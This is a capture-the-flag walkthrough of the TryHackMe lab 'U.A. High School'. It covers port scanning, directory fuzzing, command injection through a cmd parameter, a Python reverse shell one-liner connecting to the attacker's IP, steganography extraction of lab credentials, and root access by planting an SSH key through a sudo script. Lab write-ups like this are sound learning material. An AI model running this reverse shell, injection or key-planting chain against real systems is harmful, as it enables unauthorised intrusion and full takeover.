U.A. High School (THM)

ip of the machine :- 10.10.34.117

```
sohamt@CyberCreedPC:~/Testing
> ping 10.10.34.117 -c 4

PING 10.10.34.117 (10.10.34.117) 56(84) bytes of data.
64 bytes from 10.10.34.117: icmp_seq=1 ttl=60 time=223 ms
64 bytes from 10.10.34.117: icmp_seq=2 ttl=60 time=207 ms
64 bytes from 10.10.34.117: icmp_seq=3 ttl=60 time=222 ms
64 bytes from 10.10.34.117: icmp_seq=4 ttl=60 time=207 ms
--- 10.10.34.117 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 207.184/214.916/223.257/7.596 ms
```

machine is on!!!

```
sohamt@CyberCreedPC:~/Testing
> sudo nmap -p- --min-rate=10000 10.10.34.117
[sudo] password for sohamt:
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-05 19:03 IST
Warning: 10.10.34.117 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.34.117
Host is up (0.21s latency).
Not shown: 61644 closed tcp ports (reset), 3889 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 40.94 seconds
```

found some open ports!!!

```
sohamt@CyberCreedPC:~/Testing
> sudo nmap -p 22,80 -Pn -T5 -sC -A 10.10.34.117
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-05 19:04 IST
Nmap scan report for 10.10.34.117
Host is up (0.15s latency).
      STATE SERVICE VERSION
PORT
22/tcp open ssh
                    OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
  ssh-hostkey:
    3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
    256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
    256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 c
losed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT
             ADDRESS
    25.88 ms 10.17.0.1
    . . . 4
   152.55 ms 10.10.34.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org
/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.82 seconds
```

So found the versions of the services running on these ports.

```
sohamt@CyberCreedPC:~/Testing
> gobuster dir -u 10.10.34.117 -w /usr/share/dirb/wordlists/big.txt -t 50
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                          http://10.10.34.117
[+] Url:
[+] Method:
                          GET
  Threads:
                          50
                         /usr/share/dirb/wordlists/big.txt
[+] Wordlist:
[+] Negative Status codes:
[+] User Agent:
                         gobuster/3.6
[+] Timeout:
Starting gobuster in directory enumeration mode
/.htpasswd
                   (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
                   (Status: 301) [Size: 313] [--> http://10.10.34.117/assets/]
/assets
/server-status (Status: 403) [Size: 277]
Progress: 20469 / 20470 (100.00%)
Finished
```

Did directory fuzzing using gobuster and found decent results.

Further will be fuzzing /assets/ directory.

```
sonamt@cypercreeqPc:~/ resting
> gobuster dir -u http://10.10.34.117/assets/ -w /usr/share/dirb/wordlists/big.txt -t 50
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                          http://10.10.34.117/assets/
[+] Method:
                          GET
[+] Threads:
                           50
[+] Wordlist:
                          /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:
                          404
[+] User Agent:
                          gobuster/3.6
[+] Timeout:
Starting gobuster in directory enumeration mode
/.htpasswd
                   (Status: 403) [Size: 277]
/.htaccess
                   (Status: 403) [Size: 277]
                   (Status: 301) [Size: 320] [--> http://10.10.34.117/assets/images/]
/images
Progress: 20469 / 20470 (100.00%)
Finished
______
```

found some more. Also did a Common php file name scan because it doesn't show php files.

```
sohamt@CyberCreedPC:~/Testing
> gobuster dir -u http://10.10.34.117/assets/ -w /usr/share/seclists/Discovery/Web-Content
Common-PHP-Filenames.txt -t 50
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                          http://10.10.34.117/assets/
[+] Url:
[+] Method:
                           GET
[+] Threads:
                           50
[+] Wordlist:
                          /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filename
[+] Negative Status codes:
                           404
[+] User Agent:
                          gobuster/3.6
[+] Timeout:
Starting gobuster in directory enumeration mode
______
                    (Status: 200) [Size: 0]
/index.php
Progress: 5163 / 5164 (99.98%)
Finished
```

Told ya!!! Found one!!!!



Forbidden

You don't have permission to access this resource.

Apache/2.4.41 (Ubuntu) Server at yuei.ac.jp Port 80

/images we cannot access.

possible .php vulnerabilities

Based on the provided search results, it is essential to understand the PHP vulnerability CVE-2024-4577, which allows remote code execution on Windows systems using Chinese and Japanese language locales. Here's a concise and detailed breakdown:

Vulnerability Description: The flaw is a CGI argument injection vulnerability affecting all versions of PHP installed on Windows, tracked as CVE-2024-4577. It enables attackers to bypass protections put in place for another security flaw, CVE-2012-1823.

Attack Vector: An attacker can exploit this vulnerability by sending malicious PHP code to the server, which will be misinterpreted and executed remotely. The attack relies on the way PHP and CGI handlers parse certain Unicode characters.

Affected Configurations: The vulnerability primarily affects Windows installations using Chinese (simplified or traditional) and Japanese language locales. However, it may apply to a wider range of installations.

Patch Recommendation: Update PHP installations to the latest version, specifically:

- PHP 8.1*: Update to 8.1.29 or later
- PHP 8.2*: Update to 8.2.20 or later
- PHP 8.3*: Update to 8.3.8 or later

So was not able to find anything as such in the machine for rev shell, so out of curiosity asked "leo" about possible php

vulnerabilities, and command injection is what we can try at least by modifying the parameters and query in the language.

```
← → C

☐ ② ② yuei.ac.jp/assets/index.php?cmd=whoami

d3d3LWRhdGEK
```

So i added a query cmd with "whoami" command and got this gibberish stuff which said www-data and we also found a place to add revshell to.

```
python3 -c 'import
socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.con
nect(("10.17.68.223", 9999)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'
```

Bash payload was not working so tried adding python payload which is the second most common for revshell after bash and surprisingly it worked.

```
www-data@myheroacademia:/var/www$ ls
ls
Hidden Content html
www-data@myheroacademia:/var/www$ ls -al
ls -al
total 16
drwxr-xr-x 4 www-data www-data 4096 Dec 13 2023 .
drwxr-xr-x 14 root root
                               4096 Jul 9 2023 ...
drwxrwxr-x 2 www-data www-data 4096 Jul 9 2023 Hidden_Content
drwxr-xr-x 3 www-data www-data 4096 Dec 13 2023 html
www-data@myheroacademia:/var/www$ cd Hidden Content
cd Hidden_Content
www-data@myheroacademia:/var/www/Hidden_Content$ ls
passphrase.txt
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt
cat passphrase.txt
QWxsbWlnaHRGb3JFdmVyISEhCg==
www-data@myheroacademia:/var/www/Hidden_Content$
```

So in a directory named hidden content, found a file and a passphrase in it. Definitely base64 encoded.

```
sohamt@CyberCreedPC:~/Testing
> echo "QWxsbWlnaHRGb3JFdmVyISEhCg==" | base64 -d
AllmightForEver!!!
```

Okay!!! now let's see where to use it!!!!

```
www-data@myheroacademia:/opt/NewComponent$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
deku:x:1000:1000:deku:/home/deku:/bin/bash
www-data@myheroacademia:/opt/NewComponent$
```

found possible usernames.

We got two images which we downloaded. Now it said passphrase and not password, so maybe it is the passphrase to protect steganography. So let's use steghide for it.

```
sohamt@CyberCreedPC:~/Testing
> steghide --extract -sf oneforall.jpg
Enter passphrase:
steghide: the file format of the file "oneforall.jpg" is not supported.
```

It is showing file format not supported let's see hexdump to see what's the problem.

```
sohamt@CyberCreedPC:~/Testing
> xxd oneforall.jpg

00000000: 8950 4e47 0d0a 1a0a 0000 0001 0100 0001 .PNG.......
00000010: 0001 0000 ffdb 0043 0006 0405 0605 0406 .....C.....
00000020: 0605 0607 0706 080a 100a 0a09 090a 140e ......
```

it has a PNG file signature so converted to .png but still it showed the same error. So earlier the file was in jpg, so let's change the hexadecimal values of hexdump to match jpg.

```
sohamt@CyberCreedPC:~/Testing
> file oneforall.jpg
oneforall.jpg: data
```

also used file command btw and it showed data, which means something is in there.

so changed in in hexed.it

```
sohamt@CyberCreedPC:~/Downloads
> steghide --extract -sf oneforall.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
```

got a file!!!

```
sohamt@CyberCreedPC:~/Downloads
> cat creds.txt
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:
deku:One?For?All_!!one1/A
```

Got creds of the user "deku".

```
www-data@myheroacademia:/home$ su deku
su deku
Password: One?For?All_!!one1/A
deku@myheroacademia:/home$
```

was able to login as deku!!!

```
deku@myheroacademia:~$ ls
ls
user.txt
deku@myheroacademia:~$
```

got first flag.

```
deku@myheroacademia:/opt/NewComponent$ ls -al ls -al total 12 dr-xr-xr-x 2 root root 4096 Jan 23 2024 . drwxr-xr-x 3 root root 4096 Jul 9 2023 .. -r-xr-xr-x 1 deku deku 684 Jan 23 2024 feedback.sh deku@myheroacademia:/opt/NewComponent$
```

found a script in /opt directory.

Now after understanding the script's source code,

```
sohamt@CyberCreedPC:~/Testing
> ssh-keygen

Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/sohamt/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sohamt/.ssh/id_ed25519
Your public key has been saved in /home/sohamt/.ssh/id_ed25519.pub
```

generate a ssh key in local system not victim's machine.

after running the script as sudo as user deku can only run that, it

said feedback saved. SO saved this public key generated to
/root/.ssh/authorized_keys file.

```
sohamt@CyberCreedPC:~
> sudo ssh -i auth/id_ed25519 root@10.10.34.117
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
  System information as of Thu 05 Sep 2024 03:37:08 PM UTC
  System load: 0.0
                                  Processes:
                                                         163
  Usage of /:
               47.0% of 9.75GB
                                  Users logged in:
                                                         0
  Memory usage: 66%
                                  IPv4 address for eth0: 10.10.34.117
  Swap usage:
                0%
 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.
     https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
37 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
root@myheroacademia:~# ls
root.txt snap
root@myheroacademia:~# cat root.txt
root@myheroacademia:/opt/NewComponent# cat /root/root.txt
```

Then we can login using the private key to directly get root privileges.

we got final flag.....